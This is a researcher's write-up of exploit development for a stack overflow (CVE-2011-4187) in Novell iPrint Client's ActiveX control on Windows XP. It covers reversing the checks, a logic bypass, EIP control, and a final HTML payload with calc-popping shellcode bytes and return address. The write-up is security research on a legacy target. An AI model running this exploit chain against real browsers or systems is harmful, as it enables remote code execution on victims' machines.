CVE-2011-4187
Stack buffer overflow in IppGetDriverSettings2 (nipplib.dll, Novell iPrint Client < 5.78). Reachable from a web page via the iPrint ActiveX controller (CLSID 36723F97-7AA0-11D4-8919-FF2D71D0D32C) on Windows XP. No public exploit at the time of research.
Target
The starting point was a CVE number and a one-line summary on cvedetails:
Buffer overflow in the GetDriverSettings function in nipplib.dll in Novell iPrint Client before 5.78 on Windows allows remote attackers to execute arbitrary code via a long realm field, a different vulnerability than CVE-2011-3173.
No public exploit, almost no third-party write-up. The client only installs on Windows XP, so the whole engagement runs on a Windows XP SP3 VM with a Windows 10 SDK box for tooling.
The iPrint client ships an ActiveX controller. The CLSID can be retrieved by searching the registry for Novell iPrint:

The controller is implemented in ienipp.ocx (in C:\Windows\system32\), with the heavy lifting delegated to nipplib.dll in the same directory. Browsing ienipp.ocx with the OLE/COM Object Viewer from the Windows 10 SDK lists the public methods, including GetDriverSettings (the named CVE target) and a GetDriverSettings2 variant.

The controller can be instantiated and invoked from an HTML page in Internet Explorer:
<html>
<object classid='clsid:36723F97-7AA0-11D4-8919-FF2D71D0D32C' id='target'/>
</object>
<script>
target.GetDriverSettings("uri", "realm", "user", "password");
</script>
</html>
A quick sanity check using the controller’s ShowMessageBox method confirmed the CLSID and the call convention before going further.
Reaching the vulnerable function
Loading ienipp.ocx in IDA (it auto-pulls nipplib.dll) and following xrefs to IppGetDriverSettings2 lands on a single call site at ienipp.ocx:0x1000AE54. The block leading to that call enforces several conditions:

The first gate is a length check on each of the four method parameters (printerUri, realm, userName, password). Anything above 0x100 bytes per parameter aborts before the call. The second gate is a function called sub_1000FBD0 (renamed important_check) whose return value selects the next jump:

important_check is a thin wrapper around IppMgmtGetServerVersion2, exported by nipplib.dll. The wrapper returns 0 (which the callsite treats as success and proceeds to the vulnerable call) when IppMgmtGetServerVersion2 itself returns 0.
IppMgmtGetServerVersion2 is a one-line forwarder to sub_5C04B514, where the actual logic lives:

A first-pass reading suggests this function performs the IPP server handshake on port 631 and only succeeds when a real server replies correctly. That would mean emulating an IPP server before any vulnerability work is possible. Reading the CFG without that assumption reveals a more useful structure.
The first conditional jump branches on IppCreateServerRef’s return value:

If IppCreateServerRef returns NULL, control flow lands directly on a mov eax, 0; ret block. The function returns 0, which is the success code for IppMgmtGetServerVersion2. An allocation/setup failure is being treated as a successful version probe. The IPP handshake never runs, no port 631, no negotiation. The vulnerable call site is reached as long as IppCreateServerRef fails, which is the opposite of what the rest of the function is trying to achieve.
Forcing IppCreateServerRef to fail
IppCreateServerRef calls a helper sub_50022960 and propagates its return value: non-zero from the helper means failure for IppCreateServerRef, which is what is needed.
sub_50022960 performs two length checks on the printerUri argument. The first is on the total URL length (capped at 0x200), but that ceiling is already enforced upstream by the per-parameter 0x100 cap, so it cannot be tripped here without violating the upstream gate. The second check, located further into the function, validates the length of the substring preceding ://:

If that prefix exceeds 0x100 bytes, the function fails. The constraint is therefore:
- prefix before
://must be longer than0x100bytes (to failsub_50022960), - total URL length must stay under
0x200bytes (to pass theienipp.ocxper-parameter gate).
A URL of the form <260-byte garbage>://<short-suffix> satisfies both. With this, IppCreateServerRef returns NULL, IppMgmtGetServerVersion2 returns 0, important_check returns 0, and IppGetDriverSettings2 is invoked with attacker-controlled arguments.
The buffer overflow
IppGetDriverSettings2 itself contains one more gate before any vulnerable code: an strstr looking for the literal iPrint-driver-profile-hiddenPA inside the URL.

Including that substring in the URL passes the check. There is presumably a legitimate reason for it inside the driver profile flow; for the purpose of reaching the bug it is enough to embed it in the suffix.
Past that gate, the realm parameter is fed unchecked into a strcpy whose destination is a fixed-size stack buffer:

A realm of, say, 0x180 bytes overflows the buffer well into the saved return address territory.
Exploitation
Crashing on the saved EIP
The first crash, with realm filled with As up to the upstream cap, lands inside a strlen:

The overflow happened, but execution has already corrupted a pointer (EBX) used by a later function in the same frame, before the function returns. The crash is on a downstream consumer, not on the saved EIP.
The remedy is a shorter realm. The buffer is overrun precisely up to the saved EIP, no further:

EIP is now under control. There are no DEP/ASLR concerns to discuss on Windows XP SP3 in this configuration.
Placing a shellcode
The realm field is too constrained to host both the EIP overwrite and a shellcode. The other method parameters, however, are pushed on the stack ahead of realm and are not subject to the same downstream processing. userName is the natural carrier.
A pop-calc shellcode for Windows XP SP3 EN (shell-storm 739):
"\x31\xC9" // xor ecx,ecx
"\x51" // push ecx
"\x68\x63\x61\x6C\x63" // push 0x636c6163 ('calc')
"\x54" // push esp
"\xB8\xC7\x93\xC2\x77" // mov eax, 0x77c293c7
"\xFF\xD0" // call eax
xxd -p -r is enough to splice the bytes into the HTML payload’s userName argument.
Reading the shellcode address
Running a non-malicious payload (long realm prefix to satisfy the bypass, but no overflow on realm) and breakpointing on IppGetDriverSettings2 exposes its arguments on the stack. The third argument (userName) holds the buffer address:

0x02843728 for this run. The Windows XP SP3 process layout is stable enough across launches that this address holds for the next call as long as the process is not restarted.
Final payload
Replacing the 0x41414141 filler at the saved-EIP offset with 0x02843728 (little-endian) redirects execution into the shellcode after the ret:
<html>
<object classid='clsid:36723F97-7AA0-11D4-8919-FF2D71D0D32C' id='target'/>
</object>
<script>
target.GetDriverSettings(
"<260-byte garbage>://iPrint-driver-profile-hiddenPA",
"<padding up to saved EIP><\x28\x37\x84\x02>",
"<calc shellcode bytes>",
"A");
</script>
</html>
Loading the page in Internet Explorer:

Arbitrary code execution from a single HTML page, no IPP server.
Failed paths
Two earlier attempts did not reach the result and are worth recording.
Emulating the IPP server
Before noticing the IppCreateServerRef-fails-as-success path, the obvious approach was to make IppMgmtGetServerVersion2 succeed legitimately by serving the requests it issues to port 631. Capturing the request with nc -lvp 631 showed:
POST /ipp/IppSrvr HTTP/1.1
Accept: application/ipp
User-Agent: Novell iPrint Client - v05.74.00
Content-type: application/ipp
...
@G..attributes-charset.utf-8.H..attributes-natural-language.en-us.D.operation-name.get-server-version.server-version.1.1
Reverse of the response-validation function (nipplib.5C0450B3) listed the constraints: a 2-byte version-number that must be 0x100 or 0x101, a valid IPP HTTP header (taken verbatim from a CUPS server’s reply), and a server-version attribute located via IppFindAttributeInSet. Encoding the attribute group correctly required reading RFC 8010. The reply parsed up to a point, but every iteration crashed inside a strlen on a NULL argument, suggesting another mandatory attribute or data field that was not being supplied. The path was abandoned when the logic-bug shortcut surfaced.
Overflowing the ciphertext, not the cleartext
While searching for the right realm length, a shorter input did not overflow the saved EIP directly but did corrupt it through a second buffer. A function downstream of the strcpy runs the realm value through an internal block cipher (8-byte blocks, key in .data, output written via sprintf("%02hhX", b) into a separate stack buffer that is twice the input length). When the input is short enough to bypass the first overflow and long enough to overrun the ciphertext buffer, EIP is controlled, but only via the hex-string output of sprintf.
The cipher was small enough to port to C and run offline, with the seed key recovered from memory:
unsigned int shift_on_key(unsigned int tmp_bloc) {
unsigned int idx;
unsigned int s1, s2, s3, s4;
idx = ((tmp_bloc >> 24) & 0xff) * 4 + 0x048;
s1 = *((unsigned int *)the_key + idx / sizeof(unsigned int));
idx = ((tmp_bloc >> 16) & 0xff) * 4 + 0x448;
s2 = *((unsigned int *)the_key + idx / sizeof(unsigned int));
idx = ((tmp_bloc >> 8) & 0xff) * 4 + 0x848;
s3 = *((unsigned int *)the_key + idx / sizeof(unsigned int));
idx = (tmp_bloc & 0xff) * 4 + 0xc48;
s4 = *((unsigned int *)the_key + idx / sizeof(unsigned int));
return (((s2 + s1) ^ s3) + s4);
}
/* get_new_key derives (key_part1, key_part2) from the previous key
through 18 rounds of shift_on_key + xor with the static key blocs. */
int main(int argc, char **argv) {
char *entry = argv[1];
int i = 0;
get_new_key(key, the_key);
while (entry[i]) {
for (int b = 0; b < 8; b++) {
unsigned int kpart = (b < 4) ? key_part1 : key_part2;
unsigned int sh = (3 - (b & 3)) * 8;
if (entry[i]) newbuf[i] = entry[i] ^ ((kpart >> sh) & 0xff);
i++;
}
/* feed back the swapped output bloc as the next "old key" and re-derive */
...
get_new_key(key, the_key);
}
/* hex-encode newbuf into realbuf with sprintf("%02hhX", ...) */
}
A search produced an input ending in \xAA\xAA, whose hex encoding is "AAAA", giving EIP = 0x41414141:
./a.out $(python -c 'print "B"*132 + "\x43\x90"')
... 3CCAF8EFDA95CFDA49177C2EAAAA
EIP control via the ciphertext path is real, but the path is dead. sprintf("%02hhX", b) emits two ASCII hex digits per byte, so each EIP byte is constrained to 0x30..0x39 or 0x41..0x46. No address in the loaded modules or on the stack falls in that alphabet, and the shellcode has no leverage to encode arbitrary bytes through the cipher. The longer-payload approach above sidesteps this entirely.
Takeaways
- Error and allocation paths are often the most valuable to read carefully. The
IppCreateServerRef-returns-NULL branch was a complete bypass of the protocol-handshake gate, and it was visible in the CFG without any dynamic analysis. - Length caps distributed across binaries can be played against each other. The upstream
0x200cap on the URL is what made the inner0x100prefix check trippable. - A failed exploitation path is still worth reproducing far enough to understand why it fails. Recovering the realm-cipher in C produced a clean structural reason to drop the path, rather than a vague “didn’t work”.
- On systems without DEP/ASLR, the gap between EIP control and arbitrary code execution is mostly bookkeeping. The harder problem in this CVE was reaching the vulnerable function at all.